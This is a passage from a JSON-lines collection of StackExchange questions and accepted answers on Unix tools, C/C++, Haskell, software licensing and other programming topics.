instead of adding is use bitwise OR.(I realized the overflow when seeing it, but the bitwise OR, I lifted from: here)PonderingsTypically hashing algorithms output hashes of the same length for all inputs.  This means that a difference in values is likely your concern.For example, with a short circuited comparison:'abcd' === 'abce' 'abcd' === 'bbcd'The first one will take more time to execute than the second since the second will bail out on the first letter.Consider now what this timing attack would allow you to determine.  It would allow you to determine part of the hash, not the password (though if you could actually determine the hash in full, you would have already found a collision and thus have gotten into the system).This seems fairly harmless to me just because of the cascading changes in hashing algorithms.Just because I know that A is more of the hash than B is does not mean that I'm any closer to finding the hash unless I know how to change A in a manner such that the first N bytes of hash(A) do not change.  Being able to figure that out would be a major security problem for any cryptographic hash.I feel like there's something I'm missing here, so if I've completely missed the point in this section, please tell me."  } 
{  "id": "_unix.365810"  , "question": "I'm using avconv for trimming and converting videos. Let's say I want to drop the first 7 and last 2.5 seconds of the video stream and one audio stream of an one-hour mts file:avconv -i input.mts -map 0:0 -map 0:3 -ss 0:0:07 -t 0:59:50.5 out.movThis works so far, but now I want to add two seconds of fading in and out at the beginning and the end by adding:-vf fade=type=in:start_frame=350:nb_frames=100 -vf fade=type=out:start_frame=178750:nb_frames=100Those frames are calculated with the 50 fps that avconv reports for the video source. But there is neither fading in nor out.1) What goes wrong with the video fading and how to do it right?2) How to add audio fading. There seems to be an -afade option. but I don't find it documented.Alternatively, you can propose a different tool for this goal (trim and fade video and audio), preferrably available as package for Debian 8."  , "title": "trim and fade in/out video and audio with avconv (or different tool)"  , "tags": "video;ffmpeg;avconv;video editing;trim"  , "accepted_answer": "I finally found the time to try the answer suggested by @Mario G., but it seemed extremely cumbersome. I need to do this many dozends of times. I read the documentation of ffmpeg and found it much more powerful than avconv, including fading for audio and video, so the solution isffmpeg -i input.mts -map 0:0 -map 0:3 -ss 0:0:07 -to 0:59:57.5 -vf 'fade=t=in:st=7:n=60,fade=t=out:st=3595.5:n=60,crop=out_h=692' -af 'afade=in:st=7:d=2,afade=out:st=3595.5:d=2' out.movSo the st= parameters for the fade take times in seconds, no need for converting to frames, just the n= is in frames for some reason. Length for audio fade is also in seconds.I also discovered the -to option to take the end time directly instead of calculating the length.This command does all steps (channel selection, trimming, fading and cropping) in a single step."  } 
{  "id": "_softwareengineering.91158"  , "question": "I have a question which I think can be best answered here. I am pretty good with C++, good as in I am comfortable with the language, I have read Accelerated C++ and done almost all the exercises.However, I have a big problem. Do I need to learn C? I have never done C ever in my life. I just started with C++ when I started with programming. Probably cause I was always interested in knowing why everyone calls the language so complex. Now though I know the answer to that question ;)I am particularly interested in knowing whether I can survive without knowing C in today's world. Like if I give an interview in a company, if I tell them that I don't know C - will they take it as OK? The two languages I am good with is Python and C++. I am asking this cause I have heard that companies ask data structures in interviews. So if they ask me to implement it, and if I do it in C++, is it acceptable?And people who say 'how can you not know C when you C++', please don't reply :) No offense, but I fail to understand why learning C is prerequisite. "  , "title": "Is it ok if I don't know C but I am good with C++?"  , "tags": "c++;c"  , "accepted_answer": "If you know C++, I wouldn't learn C just for the sake of it. You shouldn't find it too difficult to learn if and when you need it.I'd far rather meet someone who claims they know C++ but not C than someone who claims they know C/C++."  } 
{  "id": "_cs.4750"  , "question": "I'm looking for good resources regarding Support Vector Machines, or suggestions where to start learning SVM.Already used references: Stanford ML course by Andrew Ng is great place to star  A Tutorial on Support Vector Machines for Pattern Recognition, Burges, 1998SVM tutorials Neural Networks and Learning Machines, Third Edition  Learning with Kernels - SVM, A. Smola  "  , "title": "Machine Learning - Support Vector Machines"  , "tags": "reference request;machine learning;data mining"  } 
{  "id": "_unix.119087"  , "question": "I would like to figure out a way to get my vim statusline and tmux statusline on the same line if such a thing is possible and not immensely difficult (ideally, the vim prompt, or whatever it's called where you type, as well). I am using Powerline and I like it a lot, and I feel like there might be a way to do so with that program, but I am really not sure. Does anyone have any ideas for how I might go about this? I was thinking maybe there is a way to put the vim items inside the tmux statusline, but this might require adding the vim segments (the .py files inside the segments directory, not the .json files) to the shell segments. Any help/input would be greatly appreciated!"  , "title": "Show status lines of vim and tmux on the same line"  , "tags": "terminal;vim;tmux"  , "accepted_answer": "No, to do this in a sane way is not possible.Both programs expect to just redraw their status line.It would require one program do draw over the other programs status line, without the other program knowing. And it's hard to predict when the other will redraw over it.I could think of two dirty ways to approach this:have one program overwrite part of the other programs status line using terminal escape codes to control the cursor positionIn this case, the two status lines still occupy their screen lines, even if one may be empty.  have one program show a custom section of the command line, that renders information provided from the other program.The program providing the input for the custom section could show no status line at all, so there is only one line occupied."  } 
{  "id": "_reverseengineering.14770"  , "question": "I have a db.crypt* file (used by WhatsApp chat backup) and I would like to store it as a plaintext file in my system.What is the algorithm used by WhatsApp to encrypt the backup file?Which key should I use to open and decrypt that file?Are any third party apps available? "  , "title": "Decrypting WhatsApp db.crypt* files"  , "tags": "decryption"  } 
{  "id": "_unix.296263"  , "question": "I want to ask your that how to determine & convert current time to no of seconds elapsed during current day?  Actually, I want to show how long is midnight from now in seconds. As total seconds in a day is 86400 so I'll subtract current time (in seconds elapsed since this day) with 86400.    EDIT:  Here is the actual question. If date -d is not working then how can our instructor give question like this. There might be a way maybe. Anyone understand this question. They have a different way that is subract from no of seconds.  "  , "title": "How to determine & convert current time to no of seconds elapsed during current day?"  , "tags": "date;timestamps"  , "accepted_answer": "Try:eval `date +'@ s = (86400 - %S) - 60 * (%M + 60 * %H)'`; echo $sHowever note that in timezones that have winter and summer time, it won't give  the right result if called on the day of the switch from/to summer time, before the switch (which generally happen very early in the morning).Beware that in csh, arithmetic operators are right-associative with */ having precedence over +-, as in@ s = 1 - 2 + 3 - 4is@ s = 1 - (2 + (3 - 4))And not:@ s = (((1 - 2) + 3) - 4)as in other languages. That was fixed in tcsh (6.15.01), and you can run set compat_expr to get back to the older behaviour there.Hence the parentheses around 86400 - %S so it works in both csh and tcsh."  } 
{  "id": "_unix.63875"  , "question": "I want to find a x, and replace the 0 or more following spaces (\\s*) with just a single space.echo x ax | sed 's/x\\s*/x /'For some reason, instead of replacing the spaces with the single space, it just appends one space to however many existed there before:x  axThe use of + instead of * appears to absolutely nothing, regardless of my use of the -E flag.It appears that sed doesn't do non-greedy expressions, so why doesn't this * consume all of the spaces when matching?I'm a regex ninja in non-bash settings, but bash and its tools eat me alive.  I've got no idea how to concisely phrase this for a successful search engine query."  , "title": "Why does this add spaces? echo x ax | sed 's/x\\s*/x /'"  , "tags": "sed;regular expression;replace"  , "accepted_answer": "sed expects a basic regular expression (BRE). \\s is not a standard special construct in a BRE (nor in an ERE, for that matter), this is an extension of some languages, in particular Perl (which many others imitate). In sed, depending on the implementation, \\s either stands for the literal string \\s or for the literal character s.In your implementation, it appears that \\s matches s, so \\s* matches 0 or more s, and x\\s* matches x in your sample input, hence x ax is transformed to x  ax (and xy would be transformed to x y and so on). In other implementations (e.g. with GNU sed), \\s matches \\s, so \\s* matches a backslash followed by 0 or more s, which doesn't occur in your input so the line is unchanged.This has absolutely nothing to do with greediness. Greediness doesn't influence whether a string matches a regex, only what portion of the string is captured by a match."  } 
{  "id": "_softwareengineering.253515"  , "question": "Let me ask you, as this bothers me for quite a while but appears to be subjectively the best solution for my problem, if reflective discovery of an inner class for API purposes is that bad idea?First, let me explain what I mean by saying reflective discovery and all that stuff.I am sketching an API for a Java database system, that'll be centered around block-based entities (don't ask me what that means - that's a long story), and those entities can be read and returned to the Java code as objects subclassed from the Entity class.I have an Entity.Factory class, that, by means of fluent interfaces, takes a Class<? extends Entity> argument and then, uses an instance of Section.Builder, Property.Builder, or whatever builder the entity has, to put it into the back-end storage.The idea about registering all entity types and their builders just doesn't appeal to me, so I thought that the closest solution to the problem that'd suffice my design needs would be to discover, using reflection, all inner classes of Entity classes and find one that's called Builder.Looking for some expert insight :) And if I missed some important design details (which could happen as I tried to make this question as concise as possible), just tell me and I'll add them."  , "title": "Reflective discovery of an inner class in an API"  , "tags": "java;api"  } 
{  "id": "_unix.176375"  , "question": "As per the title, the delay after a failed password is very long. In /etc/pam.d/login, FAIL_DELAY is configured as auth       optional   pam_faildelay.so  delay=3000000 however, actual delay is about 12s. This affects all places where a password is required - terminal/mdm login, su/sudo in terminal, cinnamon-screensaver (lockscreen), pkexec - everywhere.Even canceling a su/sudo  password prompt in terminal with ^C or ^D takes a long time.How can I reduce this failed-password delay time to the actual 3s configured in /etc/pam.d/login ?EDIT: grep '^auth' /etc/pam.d/*/etc/pam.d/chfn:auth        sufficient  pam_rootok.so/etc/pam.d/chsh:auth       required   pam_shells.so/etc/pam.d/chsh:auth        sufficient  pam_rootok.so/etc/pam.d/cinnamon-screensaver:auth optional pam_gnome_keyring.so/etc/pam.d/common-auth:auth [success=2 default=ignore]  pam_unix.so nullok_secure/etc/pam.d/common-auth:auth [success=1 default=ignore]  pam_ldap.so use_first_pass/etc/pam.d/common-auth:auth requisite           pam_deny.so/etc/pam.d/common-auth:auth required            pam_permit.so/etc/pam.d/common-auth:auth optional    pam_ecryptfs.so unwrap/etc/pam.d/common-auth:auth optional            pam_cap.so /etc/pam.d/login:auth       optional   pam_faildelay.so  delay=3000000/etc/pam.d/login:auth [success=ok new_authtok_reqd=ok ignore=ignore user_unknown=bad default=die] pam_securetty.so/etc/pam.d/login:auth       requisite  pam_nologin.so/etc/pam.d/login:auth       optional   pam_group.so/etc/pam.d/mdm:auth    requisite       pam_nologin.so/etc/pam.d/mdm:auth    sufficient      pam_succeed_if.so user ingroup nopasswdlogin/etc/pam.d/mdm:auth    optional        pam_gnome_keyring.so/etc/pam.d/mdm-autologin:auth    requisite       pam_nologin.so/etc/pam.d/mdm-autologin:auth    required        pam_permit.so/etc/pam.d/ppp:auth required    pam_nologin.so/etc/pam.d/proftpd:auth       required  pam_listfile.so item=user sense=deny file=/etc/ftpusers onerr=succeed/etc/pam.d/su:auth       sufficient pam_rootok.so/etc/pam.d/sudo:auth       required   pam_env.so readenv=1 user_readenv=0/etc/pam.d/sudo:auth       required   pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0EDIT:Commenting out pam_faildelay.so has no effect.EDIT:Changing it to 0 has no effect.Changing it to 10000000 has no effect."  , "title": "Password fail delay is too long - Linux Mint 17"  , "tags": "linux mint;login;password;pam;delay"  , "accepted_answer": "@GilesThe only potential culprit I see in your configuration is pam_ldap, if LDAP is misconfigured somehow.Yep, commenting it out solved the problem."  } 
{  "id": "_codereview.66756"  , "question": "I can't decide whether my method that returns an IEnumerable<T> should itself be lazy or whether it should build a list and return that. I often opt for the latter so I can be sure the enumeration of each value isn't performed multiple times.For example:public IEnumerable<UserProfile> GetUsers(){    var allDepartments = GetAllDepartments(active: true); // Returns IEnumerable<Department>    var allUsers = GetAllUserDepartments(active: true); // Returns IEnumerable<User>    var users        = allDepartments            .Join(allUsers, x => x.Department, y => y.Department, (x, y) => y, StringComparer.OrdinalIgnoreCase)            .Distinct()            .Select(x => GetUserProfile(x))            .ToList(); // Is this recommended or not    return users;}The key part is each enumeration is doing something (GetUserProfile) non trivial, it might be expensive, it might not, but what's the recommendation for a method that returns an IEnumerable<T>? Should it care about whether the caller might enumerate it several times or not?Assume only IEnumerable<T> functionality is required by the caller and my question can be reworded into:How do I signify to the caller that each enumeration may be expensive?How expensive may change their implementation decisions, if they enumerate the whole lot several times then a ToList() makes sense to them to perform, if they don't enumerate the whole lot, then a ToList() would be a waste for me (or the caller) to perform?"  , "title": "Method returning IEnumerable should ToList() or not"  , "tags": "c#;ienumerable"  , "accepted_answer": "Does code that calls the method always expect List functionality (access by index, etc.)? Return a List. Does code that calls the method only expect to iterate over it? Return an IEnumerable.You shouldn't care about what the caller does with it, because the return type clearly states what the returned value is capable of doing. Any caller that gets an IEnumerable result knows that if they want indexed access of the result, they will have to convert to a List, because IEnumerable simple isn't capable of it until it's been enumerated and put into an indexed structure. Don't assume that the callers are stupid, otherwise you end up taking functionality away from them. For example, by returning a List, you've taken away the ability to stream results which can have its own performance benefits. Your implementation may change, but the caller can always turn an IEnumerable into a List if they need to.Now that you've decided what the return type should be, you have to decide what the implementation should use. Deferred execution has benefits, but can also be confusing. Take this example:public static IEnumerable<int> GetRecordIds(){    return dbContext.Records.Select(r => r.Id);}IEnumerable<int> currentRecordIds = GetRecordIds();dbContext.Add(new Record { Id = 7 });// Includes 7, despite GetRecordIds() being called before the Add():currentRecordIds.Dump();This can be remedied by GetRecordIds calling ToList before returning. The correct use here simply depends on what is expected of the class (live results, or time of call results).Again, don't assume the caller is stupid, and don't take away functionality from the caller by making assumptions about how it will be used. Remember, the interface tells you what is expected to be returned. IEnumerable only means you are getting something that can be iterated over (potentially streaming results and making use of deferred execution), and List only means you're getting an in-memory collection that can be added to, removed from, accessed by index, etc.Edit - To address your Update 1:If you are really concerned, you might add some information into the documentation, but I don't think it's necessary. The IEnumerable interface doesn't claim to make any promises about performance on repeat enumeration (or even each iteration for that matter), so it's on the caller to handle it intelligently."  } 
{  "id": "_webapps.60748"  , "question": "I am professionally related to a topic which is described in an article on Wikipedia. Months ago I respectfully added some content to this article, including a quotation and an link to my website. I tried to care about manners and impartiality.Last week other professional edited this article, deleted my quotation and a piece of text with my point of view, and added quotations and links to his website with labels and adjectives that I don't consider impartial in any way.I think that this edit is so clearly illicit that any editor would realize and revert or edit it if she/he red it. How can I request that this be done without getting involved? I would not like to see my user name related to such an article discussion. And of course avoiding sockpuppeting and that kind of tactics."  , "title": "Silently suggest an edit review in Wikipedia"  , "tags": "wikipedia"  } 
{  "id": "_unix.299923"  , "question": "I have recently switched to kubuntu and I love it, all apart from the bugs! In particular I love Dolphin (as much as I loath all the other linux file managers) but sometimes it just quits on me. It used to straight up disappear so I was delighted when, after installing some updates today, it happened again and I got the Crash Reporting Assistant. Progress I thought. Sadly though I have been unable to report any bugs so far as it won't let me submit a report without a useful back trace. The key to this is apparently to have the correct degug symbols installed on my machine. No problem with a Debian based distro one might think but even though I have installed dolphin-dbg (and after some googling kdelibs5-dbg) it is still failing to generate a useful trace. Clicking on list of files gives me the following message...The packages containing debug information for the following application libraries are missing:* /usr/bin/dolphin* /usr/lib/x86_64-linux-gnu/libQt5Core.so.5So if I haven't installed the right symbols packages what are the right symbols packages? I've had a look through the backtrace as it stands and tried grepping apt-cache for debug packages related to various odds and sods I saw in there but found nothing useful looking."  , "title": "generating useful backtraces in kubuntu"  , "tags": "kde;crash;dolphin"  } 
{  "id": "_cstheory.38365"  , "question": "This question is migrated from MathOverflow, where it did not receive any answers a year ago.For a language $L$ over the finite alphabet $\\Sigma$, let $L_n$ denote the set of words in $L$ of length $n$. The word $u$ is a subsequence of $w$ if $u$ can be obtained from $w$ by deleting letters (note that $u$ does not have to occur consecutively in $w$). The language $L$ is subsequence-closed if whenever $w\\in L$ and $u$ is a subsequence of $w$ then $u\\in L$ (thus subsequence-closed languages are piecewise testable, but not vice versa). It can be shown (see below) that for all subsequence-closed languages $L$,$$ \\lim_{n\\to\\infty} \\sqrt[n]{|L_n|}$$exists and is an integer. Does anyone know of a reference for this fact? (I have stated it with proof in one of my papers, but I am trying to find the correct reference for it now.)Here is the proof I know, thanks to Michael Albert. First, subsequence-closed languages are necessarily regular (if $L$ is subsequence-closed then there are only finitely many minimal words not in $L$ by Higman's Lemma, and this leads quickly to the existence of a regular expression for it).Next we claim that every subsequence-closed language $L\\subseteq\\Sigma^\\ast$ can be expressed as a finite union of regular expressions of the form$$ \\ell_1\\Sigma_1^\\ast\\ell_2\\Sigma_2^\\ast\\cdots\\ell_k\\Sigma_k^\\ast\\ell_{k+1}$$for letters $\\ell_i\\in\\Sigma$ and subsets $\\Sigma_i\\subseteq\\Sigma$. (I would also be interested if anyone has a reference for this decomposition of subsequence-closed languages.) This follows by induction on the regular expression defining $L$. The base cases where $L$ is empty or a single letter are trivial. If the regular expression defining $L$ is a union or a concatenation then the claim follows inductively. The only other case is when this regular expression is a star, say $L=E^\\ast$ for a regular expression $E$. In this final case we see that $L=\\Pi^\\ast$ where $\\Pi\\subseteq\\Sigma$ is the set of all letters occurring in $E$ because $L$ is subsequence-closed.With the claim above established, it follows that $\\lim\\sqrt[n]{|L_n|}$ is equal to the size of the largest set $\\Sigma_i$ occurring in such an expression for $L$."  , "title": "Reference request: exponential growth rates of subsequence-closed languages are integers"  , "tags": "co.combinatorics;fl.formal languages;regular language;enumeration"  } 
{  "id": "_unix.14"  , "question": "Apart from what you can (arguably?) call the more popular shells (bash, csh, Korn, zsh) what other ones do you know and use and what unique features do they have?ps - One answer per shell would be ideal to gather a meaningful survey"  , "title": "Which less popular shells do you use and what are their advantages?"  , "tags": "shell"  } 
{  "id": "_softwareengineering.285001"  , "question": "Lets say I have a project which has evolved over the past year. When I began the project, I looked around for open source projects which provided as much of the base system as I could find, and finally settled on an Apache 2.0 Licensed project.Over the past year, the project has evolved a lot, leaving very little resemblance to the original project. Basically the only similarities left are the project's source directory structure, and ideas left in-tact here and there (very few complete class files are original, most are either totally re-written or mostly due to this project's requirements).At what point do I stop attributing to the original project? At what point have I diverged so severely as to be safe in saying I own copyright over this entire work as well as licensed under my terms?"  , "title": "At what point do you drop attribution to original work?"  , "tags": "licensing;copyright;attribution"  , "accepted_answer": "NeverAs long as the project's code has a direct descendent to an Apache 2.0 License you should never remove attribution.If you do a greenfield project where every single line is new and not copied over, then you can remove attribution.There are some things you should never cut corners on, proper procedures around licensing are one of them."  } 
{  "id": "_unix.149730"  , "question": "How does Bash in Ubuntu know a tool's specific list of actions? For example if I type apt-get and tab twice I only see remove, update, upgrade ...etc, but not the actions for another command or the files in the current directory.I'm developing a command-line tool in Go and would like to provide this feature for the distros that support it."  , "title": "How do command-line tools have their own autocomplete list?"  , "tags": "bash;ubuntu;autocomplete"  , "accepted_answer": "It does this using bash v4's completion features. The completion code for apt-get is provided by the bash-completion package and located at /usr/share/bash-completion/completions/apt-get. Applications that have completion and are not part of the base bash-completion package place their completion scripts in /etc/bash_completion.d.The completions are loaded via sourcing /etc/bash_completion. Exactly where this is done will vary depending on Debian or Ubuntu versions. That in turn will source everything in /usr/share/bash-completion/completions and /etc/bash_completion.d. "  } 
{  "id": "_softwareengineering.218016"  , "question": "I know it might be a silly question to ask, but I didn't quite get an a absolute clear answer on this matter, so I thought I'd put it here.Does c++ support the subtyping in the sense that it fulfills Liskov's principle fully? I understand how parametric polymorphism, inclusion polymorphism(subclassing and overriding) work in c++ but I'm not entirely sure or understand if subtyping exists in the context of C++. Could you please explain?"  , "title": "Does C++ support subtyping?"  , "tags": "c++;design patterns;design;polymorphism"  , "accepted_answer": "Does c++ support the subtyping in the sense that it fulfills Liskov's principle fully?C++ is fully capable of supporting the Liskov Substitution Principle if the programmer uses it that way. Just like many other languages, it will not prevent you from doing something that violates the principle.And yes, both conventional polymorphism achieved by inheritance and parameteric/static polymorphism provided by template shenanigans work as far as this question is concerned."  } 
{  "id": "_unix.137878"  , "question": "When I tried to create a bootable USB stick using Startup Disk Creator, appear this massege below.Invalid version string 'GNU/Linux' How can I create a bootable USB stick on Ubuntu 14.04? "  , "title": "Invalid version string 'GNU/Linux' when creating bootable USB stick"  , "tags": "ubuntu;usb"  , "accepted_answer": "The best solution for this, is to use dd like thisdd if=/path/to/debian.iso of=/dev/sdcIs necessary to burn the image to the entire usb and not just the first partition, sdc, not sdc1. "  } 
{  "id": "_softwareengineering.274553"  , "question": "It is normal for the child in a fork() to call exec() or _exit().Are there any realistic scenarios where the child might return from the function that called fork() instead?void foo() {  pid_t pid = fork();  if(pid == 0) {     ...     return; //<-- the child is going to unwind the cloned call stack  }  ...So what legitimate uses are there for a forked child returning?  Are there any standards that govern this? "  , "title": "forking but not exiting"  , "tags": "c;unix;forking"  } 
{  "id": "_softwareengineering.191404"  , "question": "I have written an application in Python using Tkinter and want to distribute under the WTFPL license. But I don't understand where to add the copying.txt file that needs to be added in the folder that is distributed.Please clarify."  , "title": "Where to add the license file?"  , "tags": "open source"  , "accepted_answer": "You need to create an archive copying.txt in your root folder with follow content:            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE                    Version 2, December 2004 Copyright (C) 2004 Sam Hocevar <sam@hocevar.net> Everyone is permitted to copy and distribute verbatim or modified copies of this license document, and changing it is allowed as long as the name is changed.            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION  0. You just DO WHAT THE FUCK YOU WANT TO."  } 
{  "id": "_codereview.86409"  , "question": "Given a number \\$t\\$, (\\$1 \\leq t \\leq 1000\\$) that represent  testcases and \\$t\\$ numbers \\$n\\$ (\\$1 \\leq n \\leq 10^9\\$). Show the  next multiple of \\$n\\$ that is a perfect square number.Example of input:5   5 9 10 12 13Example of output:Case #1: 25Case #2: 9Case #3: 100Case #4: 36Case #5: 169My solution iterates over all the next perfect squares of \\$n\\$ (using this formula \\$ \\left(\\lfloor \\sqrt{x} \\rfloor + 1\\right) ^ 2 \\$ until it's a multiple of \\$n\\$.#include <stdio.h>#include <string.h>#include <math.h>unsigned long long myPow(unsigned long long x){    return x*x;}int main(){    unsigned int j;    unsigned int t;    scanf(%u,&t);    for(j = 1; j <= t; j++){        unsigned long long n;        scanf(%llu,&n);        double sqrtn = sqrt(n);        if(sqrtn == (unsigned long long) sqrtn) //test if N is a perfect square            printf(Case #%d: %llu\\n,j,n);        else{            unsigned long long i = n;            while((i = myPow(floor(sqrt(i))+1)) % n != 0);//find the next perfect square multipe of n            printf(Case #%d: %llu\\n,j,i);        }    }}This solution encounters Time limit exceeded. Is there a faster way of finding the solution?"  , "title": "Find the next multiple of N that is a perfect square number"  , "tags": "c;programming challenge;time limit exceeded"  , "accepted_answer": "I'm afraid we need to use math.Take any square number and look at its prime factorization. For example, \\$ 100 = 2^25^2 \\$; \\$ 144 = 2^43^2 \\$; \\$ 729 = 3^6 \\$. The thing that's common to all of these examples is that the exponent of each prime in the factorization is even. And that's because if you take any number \\$ n \\$, with factorization $$ n = 2^a3^b5^c\\dotsm $$ then its square is $$ n^2 = 2^{2a}3^{2b}5^{2c}\\dotsm $$ where all the exponent are even.So if you want to find the smallest multiple of \\$ m \\$ that's a square, then you can factorize $$ m = 2^a3^b5^c\\dotsm $$ find the odd exponents among \\$ a, b, c, \\dotsc \\$, and then multiply by the appropriate primes to make all the exponents even.Let's take the number \\$ 12 \\$ as an example. First, factorize \\$ 12 = 2^23^1 \\$. Then note that \\$ 3 \\$ is raised to an odd exponent in the factorization. So we need to multiply by \\$ 3 \\$ to get \\$ 2^23^2 = 36 \\$ which is \\$ 6^2 \\$.A bigger example: \\$ 24696 \\$. First, factorize \\$ 24696 = 2^33^27^3 \\$. Then note that both \\$ 2 \\$ and \\$ 7 \\$ are raised to odd exponents in the factorization. So we need to multiply by \\$ 27 \\$ to get \\$ 2^43^27^4 = 345744 \\$ which is \\$ 588^2 \\$."  } 
{  "id": "_codereview.159301"  , "question": "I recently wrote a C implementation of Matrices with add, subtract, and multiply. I want to expand this out eventually where I can diagonalize, efficiently square, row-reduce, etc...I was wondering if there are any more efficient ways to do what I'm currently doing (I'm really new to C and pointers/references in general) and without changing too much, getting *(result.matrix+ i*r  + j)to work likeresult[i][j]Here's the code below/**    Matrix Multiplication    matrices.c    Matrix data structure in C.    @author Michael Asper    @version 1.0 3/29/17*/#include <stdio.h>#include <stdlib.h>#include <time.h>typedef struct Matrix {    int     rowSize;    int     columnSize;    long int*    matrix;} Matrix;/**    Randomizes the elements of a matrix    @param *m pointer to Matrix to randomize;*/void randomize(Matrix *m){    int i,j;    for(i = 0; i < m->rowSize ; i++){        for(j = 0; j < m->columnSize; j++){            *(m->matrix + i*m->rowSize  + j)= rand() % 5000;        }    }}/**    Returns a r x c Matrix with all 0s.    @param r The row size of the matrix    @param c The column size of the matrix    @return r x c Matrix*/Matrix createMatrix(int r, int c){    Matrix temp = {r, c, calloc(r * c, sizeof(long int *))};    return temp;}/**    Returns a r x c Matrix with random numbers.    @param r The row size of the matrix    @param c The column size of the matrix    @return r x c Matrix*/Matrix createRandMatrix(int r, int c){    Matrix temp = createMatrix(r,c);    randomize(&temp);    return temp;}/**    Prints matrix.    @param *m Pointer to Matrix you want to print*/void printMatrix(Matrix *m){    int i,j;    for(i = 0; i < m->rowSize ; i++){        for(j = 0; j < m->columnSize; j++){            printf(%li , *(m->matrix + i*m->rowSize  + j));        }        printf(\\n);    }}/**    Adds two matrices together    @param *a pointer to first matrix (A);    @param *b pointer to second matrix (B);    @return A+B*/Matrix add(Matrix *a, Matrix *b){    //check if matrices are compatible    if(a->rowSize != b->rowSize || a->columnSize != b->columnSize){        fprintf(stderr, Error: Incompatible sizes);        exit(0);    }    //create result matrix    int r = a->rowSize;    int c = a->columnSize;    Matrix result = createMatrix(r,c);    //add matrices    int i,j;    for(i = 0; i < r ; i++){        for(j = 0; j < c; j++){            //result[i][j] = a[i][j]+b[i][j]            *(result.matrix+ i*r  + j) = *(a->matrix + i*r  + j) + *(b->matrix + i*r  + j);        }    }    return result;}/**    Subtracts two matrices together    @param *a pointer to first matrix (A);    @param *b pointer to second matrix (B);    @return A-B*/Matrix sub(Matrix *a, Matrix *b){    //check if matrices are compatible    if(a->rowSize != b->rowSize || a->columnSize != b->columnSize){        fprintf(stderr, Error: Incompatible sizes);        exit(0);    }    //create result matrix    int r = a->rowSize;    int c = a->columnSize;    Matrix result = createMatrix(r,c);    //subtracts matrix    int i,j;    for(i = 0; i < r ; i++){        for(j = 0; j < c; j++){            //result[i][j] = a[i][j]-b[i][j]            *(result.matrix+ i*r  + j) = *(a->matrix + i*r  + j) - *(b->matrix + i*r  + j);        }    }    return result;}/**    Multiplies two matrices together    @param *a pointer to first matrix (A);    @param *b pointer to second matrix (B);    @return A*B*/Matrix multiply(Matrix *a, Matrix *b){    //check if matrices are compatible    if(a->columnSize != b->rowSize ){        fprintf(stderr, Error: Incompatible sizes);        exit(0);    }    //initialize return matrix    int r = a->rowSize;    int c = b->columnSize;    Matrix result = createMatrix(r,c);    //multiply matrices    int i,j;    for(i = 0; i < r ; i++){        for(j = 0; j < c; j++){            long int sum = 0;            int k;            for(k = 0; k < a->columnSize; k++){                //sum += a[i][k] * b[k][j]                sum = sum + (*(a->matrix + i*a->rowSize  + k)**(b->matrix + k*b->rowSize  + j));            }            *(result.matrix+ i*r  + j) = sum;        }    }    return result;}int main(){    // seed random with time    time_t t;    srand((unsigned) time(&t));    //setup random matrices and multiply    Matrix a = createRandMatrix(3,100);    Matrix b = createRandMatrix(100,3);    Matrix result = multiply(&a,&b);    printMatrix(&result);    return 0;}"  , "title": "Matrices in C implementation"  , "tags": "c;matrix"  , "accepted_answer": "I just wanted to comment on your question about accessing the array efficiently. You ask:I was wondering if there are any more efficient ways to do what I'm currently doing (I'm really new to C and pointers/references in general) and without changing too much, getting*(result.matrix+ i*r  + j)to work likeresult[i][j]One way is to do as @mdfst13 has recommended and allocate an array of arrays. That's a fine way to do it, but it can be a performance issue when accessing the array element by element in a loop. CPUs generally optimize to access the next few bytes past the last access since you're likely to need bytes near the ones you previously accessed. If you have a separate array per row, this can throw off that optimization when you reach the end of each row. You'd want to first profile to verify that's an issue or not. If it is, another option you have is to leave it as a single allocation and simply write an accessor function. Something like:long int getElement(const Matrix m, const int r, const int c){    return *(m.matrix + r * m.rowSize + c);}This also allows you the opportunity to do some range checking when in debug mode by doing something like:long int getElement(const Matrix m, const int r, const int c){#if DEBUG    assert((r >= 0) && (r < m.rowSize));    assert((c >= 0) && (c < m.colSize));#endif    return *(m.matrix + r * m.rowSize + c);}(Or if you want to pass a pointer in instead of passing by value, as suggested in mdfst13's answer, you could change the prototype to take a pointer to a Matrix and dereference the fields via pointer.)Now when you want to access an element of the array, you would write:long int x = getElement(result, i, j);It's not as concise as just result[i][j], but it's better than writing out the math every time and potentially getting it wrong in some subtle way."  } 
{  "id": "_codereview.35512"  , "question": "I've just finished reading Learn You a Haskell and I've started to experiment on my own. I just wanted to create a very simple game system where player A can attack player B.Now I have 2 questions:My autoAttack function was very daunting to write. How could I improve it?How would I format my autoAttack function correctly? I don't find it very pleasing to read.main = print $ createActor `autoAttack` createActortype Vector2= (Float,Float)type Vector3 = (Float,Float,Float)data StatsSystem = StatsSystem {physicalDamage :: Float,                                spellPower     :: Float,                                health         :: Float,                                mana           :: Float,                                attackRange    :: Float,                                castRange      :: Float,                                attackSpeed    :: Float                               } deriving(Show)data MovementSystem = MovementSystem {direction :: Vector2,                                      speed     :: Float,                                      position  :: Vector3                                     } deriving(Show)data Actor = Actor {stats :: StatsSystem,                    ms    :: MovementSystem                   } deriving(Show)createActor :: ActorcreateActor = Actor {stats = StatsSystem {physicalDamage = 1.0,                                          spellPower = 1.0,                                          health = 10.0,                                          mana = 1.0,                                          attackRange = 1.0,                                          castRange = 1.0,                                          attackSpeed = 1.0                                         },                     ms = MovementSystem{direction = (1.0,1.0),                                         speed = 50.0,                                         position = (0,0,0)                                        }                    }autoAttack :: Actor -> Actor -> ActorautoAttack Actor {stats = StatsSystem {physicalDamage = p,                                       spellPower = _,                                       health = _,                                       mana = _,                                       attackRange = _,                                       castRange = _,                                       attackSpeed = _                                      },                   ms = m                 }            Actor {stats = s2,                   ms = m2                 }            = Actor {stats = StatsSystem {physicalDamage = physicalDamage s2,                                         spellPower = spellPower s2,                                         health = health s2 - p,                                         mana = mana s2,                                         attackRange = attackRange s2,                                         castRange = castRange s2,                                         attackSpeed = attackSpeed s2                                        },                    ms = m2                   }"  , "title": "How to simplify the record syntax with pattern matching?"  , "tags": "haskell"  , "accepted_answer": "First, when you are not using fields in a record, you don't have to use _ to mark that they should be ignored;  you only need to include the fields in the pattern that you are actually using.Second, it is possible to update a couple of fields in a record without respecifying the whole thing from scratch.  If x is the name of the old record and you want to set the field a to 42 and b to 24, then the expression x { a = 42, b = 24 } is equal to the record x with a set to 42 and 